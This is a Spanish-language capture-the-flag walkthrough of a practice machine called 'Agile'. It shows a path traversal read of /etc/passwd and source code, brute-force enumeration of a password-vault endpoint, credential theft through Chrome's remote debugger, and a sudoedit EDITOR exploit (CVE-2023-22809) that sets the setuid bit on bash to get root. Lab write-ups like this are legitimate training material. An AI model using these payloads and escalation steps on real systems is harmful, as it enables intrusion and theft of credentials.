Máquinas/CTF

Máquina resuelta


1. Comprobación del sistema operativo

python whichSystem.py 10.10.11.203

Tiene como salida:

10.10.11.203 (ttl -> 63): Linux

 

2. Descubrimiento de puertos y servicios

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.203 

Obteniendo como salida:

Scanned at 2023-03-22 11:51:27 CET for 10s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/local/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 10.39 seconds
           Raw packets sent: 65763 (2.894MB) | Rcvd: 65535 (2.621MB)

 

3. Comprobamos servicios y lanzamos scripts principales contra dichos puertos

nmap -sCV -p22,80 10.10.11.203 
Starting Nmap 7.93SVN ( https://nmap.org ) at 2023-03-22 11:52 CET
Nmap scan report for 10.10.11.203
Host is up (0.060s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 f4:bc:ee:21:d7:1f:1a:a2:65:72:21:2d:5b:a6:f7:00 (ECDSA)
|_  256 65:c1:48:0d:88:cb:b9:75:a0:2c:a5:e6:37:7e:51:06 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://superpass.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.99 seconds


Añadimos la siguiente linea al archivo /etc/hosts

  10.10.11.203    superpass.htb

 

4. Observamos la página

Observamos que se trata de una especie de gestor de contraseñas online. Podemos crear una cuenta para acceder, aunque también podemos utilizar directamente el usuario admin:admin. Una vez dentro, si le damos a la opción Export, nos genera la siguiente peticion, capturada a través de un proxy como Burp:

GET /download?fn=xxxx HTTP/1.1
Host: superpass.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: es-ES,es;q=0.9
Cookie: remember_token=14|1bc8d265b0016488ded7ae22f73e0360fca3e8c003b8938c03577f4de060185bfaa2fe561621e6bee2e5e43694de89fc2b4895da30a8d347766c95f9eb07ae60; session=.eJwljs2KwzAMhF_F6FwWK7JsJ0_R-1KKLSlNIP0hTk-l776GvcwwzPAxH7jOW2mLNZh-P-CObnC31srN4ATnzUoztz1vbn244-mKSC_dsazNvfrmBy7fy6lDdmsLTMf-tp5WhQk4KCYaxFNSEuNB5oIh-NIZiJWtzuTH6KuOJnmsmLBSUPVExhxVIubEEU05DoWsICoVy6PikIywaqqYu5RaBbPHyBZYss_CqkL9_vXdbP9_gwG-f1aORwo.ZBre5w.Z9q7KwrEQDwYoEqWhrTsh5NDptI
Connection: close

Siendo el parámetro de fn el archivo a descargar. Podemos probar entonces a ejecutar un exploit del tipo LFI:

GET /download?fn=../../../../../../../etc/passwd HTTP/1.1
Host: superpass.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: es-ES,es;q=0.9
Cookie: remember_token=14|1bc8d265b0016488ded7ae22f73e0360fca3e8c003b8938c03577f4de060185bfaa2fe561621e6bee2e5e43694de89fc2b4895da30a8d347766c95f9eb07ae60; session=.eJwljs2KwzAMhF_F6FwWK7JsJ0_R-1KKLSlNIP0hTk-l776GvcwwzPAxH7jOW2mLNZh-P-CObnC31srN4ATnzUoztz1vbn244-mKSC_dsazNvfrmBy7fy6lDdmsLTMf-tp5WhQk4KCYaxFNSEuNB5oIh-NIZiJWtzuTH6KuOJnmsmLBSUPVExhxVIubEEU05DoWsICoVy6PikIywaqqYu5RaBbPHyBZYss_CqkL9_vXdbP9_gwG-f1aORwo.ZBre5w.Z9q7KwrEQDwYoEqWhrTsh5NDptI
Connection: close

Obteniendo el siguiente resultado:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 22 Mar 2023 11:53:41 GMT
Content-Type: text/csv; charset=utf-8
Content-Length: 1744
Connection: close
Content-Disposition: attachment; filename=superpass_export.csv
Vary: Cookie

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
corum:x:1000:1000:corum:/home/corum:/bin/bash
dnsmasq:x:108:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
mysql:x:109:112:MySQL Server,,,:/nonexistent:/bin/false
runner:x:1001:1001::/app/app-testing/:/bin/sh
edwards:x:1002:1002::/home/edwards:/bin/bash
dev_admin:x:1003:1003::/home/dev_admin:/bin/bash
_laurel:x:999:999::/var/log/laurel:/bin/false

 

5. Comprobamos los principales archivos del sistema

Si investigamos manualmente por el contenido de archivos comunes y demás, observamos que no nos aparece nada. Observamos que ejecutando diversas peticiones al principio en la página web, a veces nos aparecían unas ventanas de error, las cuales contenían, entre otras trazas de error, las siguientes rutas de archivos:

/app/venv/lib/python3.10/site-packages/flask/app.py

/app/app/superpass/views/vault_views.py

Si mediante la vulnerabilidad anterior (LFI) observamos el contenido de ambos archivos, obtenemos que en el segundo existe el siguiente contenido, donde se puede observar una función en la que nos devuelven las contraseñas guardadas:

@blueprint.get('/vault/row/<id>')
@response(template_file='vault/partials/password_row.html')
@login_required
def get_row(id):
    password = password_service.get_password_by_id(id, current_user.id)

    return {"p": password}

 

6. Explotación de la vulnerabilidad del listado de contraseñas

Mediante Burp Suite, en la pestaña de Intruder, ejecutamos un ataque de fuerza bruta contra dicho endpoint. Introduciendo en el campo Positions el siguiente contenido:

GET /vault/row/§0§ HTTP/1.1
Host: superpass.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: es-ES,es;q=0.9
Cookie: remember_token=14|1bc8d265b0016488ded7ae22f73e0360fca3e8c003b8938c03577f4de060185bfaa2fe561621e6bee2e5e43694de89fc2b4895da30a8d347766c95f9eb07ae60; session=.eJwljs2KwzAMhF_F6FwWK7JsJ0_R-1KKLSlNIP0hTk-l776GvcwwzPAxH7jOW2mLNZh-P-CObnC31srN4ATnzUoztz1vbn244-mKSC_dsazNvfrmBy7fy6lDdmsLTMf-tp5WhQk4KCYaxFNSEuNB5oIh-NIZiJWtzuTH6KuOJnmsmLBSUPVExhxVIubEEU05DoWsICoVy6PikIywaqqYu5RaBbPHyBZYss_CqkL9_vXdbP9_gwG-f1aORwo.ZBrp6w.YEEEcyT0EPgdf0dYI9YpmHYnE1o
Connection: close

Y estableciendo como payload, un dicccionario de numeros del 1 al 100. Observamos que en diferentes peticiones se producen códigos de respuesta y un número de bytes diferentes. Por lo que si comprobamos los recursos web, podemos encontrar en el endpoint http://superpass.htb/vault/row/8 el siguiente valor:

agile corum 5db7caa1d13cc37c9fc2

Esto también lo podíamos haber averiguado con la herramienta de fuzzing wfuzz, empleando para ello los siguientes comandos. Creamos un diccionario con los posibles valores mediante el siguiente comando:

seq 1 50 > dict

Lanzamos la herramienta:

wfuzz -c --hc=404 --hh=265 -t 200 -w numbers http://superpass.htb/vault/row/FUZZ

Con ella podemos observar los siguiente resultados, que de igual forma que antes, si observamos el endpoint http://superpass.htb/vault/row/8 podemos observar el mismo resultado.

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                           
=====================================================================

000000001:   302        5 L      22 W       263 Ch      "1"                                                                                               
000000003:   302        5 L      22 W       263 Ch      "3"                                                                                               
000000007:   302        5 L      22 W       263 Ch      "7"                                                                                               
000000009:   302        5 L      22 W       263 Ch      "9"                                                                                               
000000006:   302        5 L      22 W       263 Ch      "6"                                                                                               
000000008:   302        5 L      22 W       263 Ch      "8"                                                                                               
000000005:   302        5 L      22 W       263 Ch      "5"                                                                                               
000000004:   302        5 L      22 W       263 Ch      "4"                                                                                               
000000002:   302        5 L      22 W       263 Ch      "2"

Por lo que podemos acceder mediante el servicio ssh, con las credenciales corum:5db7caa1d13cc37c9fc2.

 

7. Flag de usuario

Somos capaces de obtener la flag de usuario -> 681ded2d328d40e1c3fb383ec8e59ebc

 

8. Escalada de privilegios

Podemos probar a listar los puertos de la máquina, mediante el siguiente comando:

netstat -nat

Observando como nos devuelve una gran cantidad de puertos abiertos. Podemos mirar que servicios están activos en dichos puertos, mediante el siguiente comando:

ps faux

Viendo que en el puerto 41829 está corriendo el depurador remoto de Google Chrome:

runner      7449  0.1  2.6 33986524 104392 ?     Sl   11:36   0:00                      \_ /usr/bin/google-chrome --allow-pre-commit-input --crash-dumps-dir=/tmp --disable-background-networking --disable-client-side-phishing-detection --disable-default-apps --disable-gpu --disable-hang-monitor --disable-popup-blocking --disable-prompt-on-repost --disable-sync --enable-automation --enable-blink-features=ShadowDOMV0 --enable-logging --headless --log-level=0 --no-first-run --no-service-autorun --password-store=basic --remote-debugging-port=41829 --test-type=webdriver --use-mock-keychain --user-data-dir=/tmp/.com.google.Chrome.VhFqHR --window-size=1420,1080 data:, runner      7513  0.2  3.1 1184735616 126204 ?   Sl   11:36   0:01

 

9. Creación de PortForwading

Mediante el servicio ssh podemos hacer un PortForwarding para traernos dicho puerto a nuestra máquina host, mediante el siguiente comando:

ssh corum@10.10.11.203 -L 5000:127.0.0.1:41829

Si abrimos ahora en navegador de Google en nuestra máquina host y buscamos en la barra superior de búsqueda chrome://inspect podemos configurar el puerto en el que hemos indicado el PortForwarding, es decir, localhost:5000.
Una vez hecho esto, en la sección Remote Target podemos ver como nos sale automáticamente un nuevo target SuperPassword con un subdominio llamado test.superpass.htb. Si seleccionamos la opción inspect y nos dirigimos al directorio vault, nos encontramos con dos credenciales, una de ellas para el usuario edwards:d07867c6267dcb5df0af, pudiendo entonces acceder a través del servicio ssh.

 

10. Explotacion de SUID

Una vez autenticados como el usuario edwards podemos ejectuar sudo -l para ver los permisos que tiene dicho usuario. Vemos que mediante el comando sudoedit, podemos editar dos archivos como si fuésemos el usuario dev_admin:

Matching Defaults entries for edwards on agile:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User edwards may run the following commands on agile:
    (dev_admin : dev_admin) sudoedit /app/config_test.json
    (dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt

Buscando por Internet podemos encontrar un CVE (CVE-2023-22809) mediante el cual nos permite convertirnos en el usuario root gracias a la variable de entorno EDITOR. Para ello deberemos de realizar los dos siguientes pasos:

  1. Exportamos la variable de entorno al archivo /app/env/bin/activate

    export EDITOR='vim -- /app/venv/bin/activate'
    
  2. Editamos uno de los dos archivos como el usuario dev_admin, añadiendo al principio la ejecución de una bash:

    sudo -u dev_admin sudoedit /app/config_test.json
    

    Añadiendo lo siguiente:

    chmod u+s /bin/bash
    
  3. Luego de unos instantes solo tenemos que hacer bash -p para conseguir una terminal como el usuario root.

 

11. Obtención flag usuario root

Somos entonces capaces de obtener el flag del usuario root -> 276f62759da388b33043ec52faaaa53d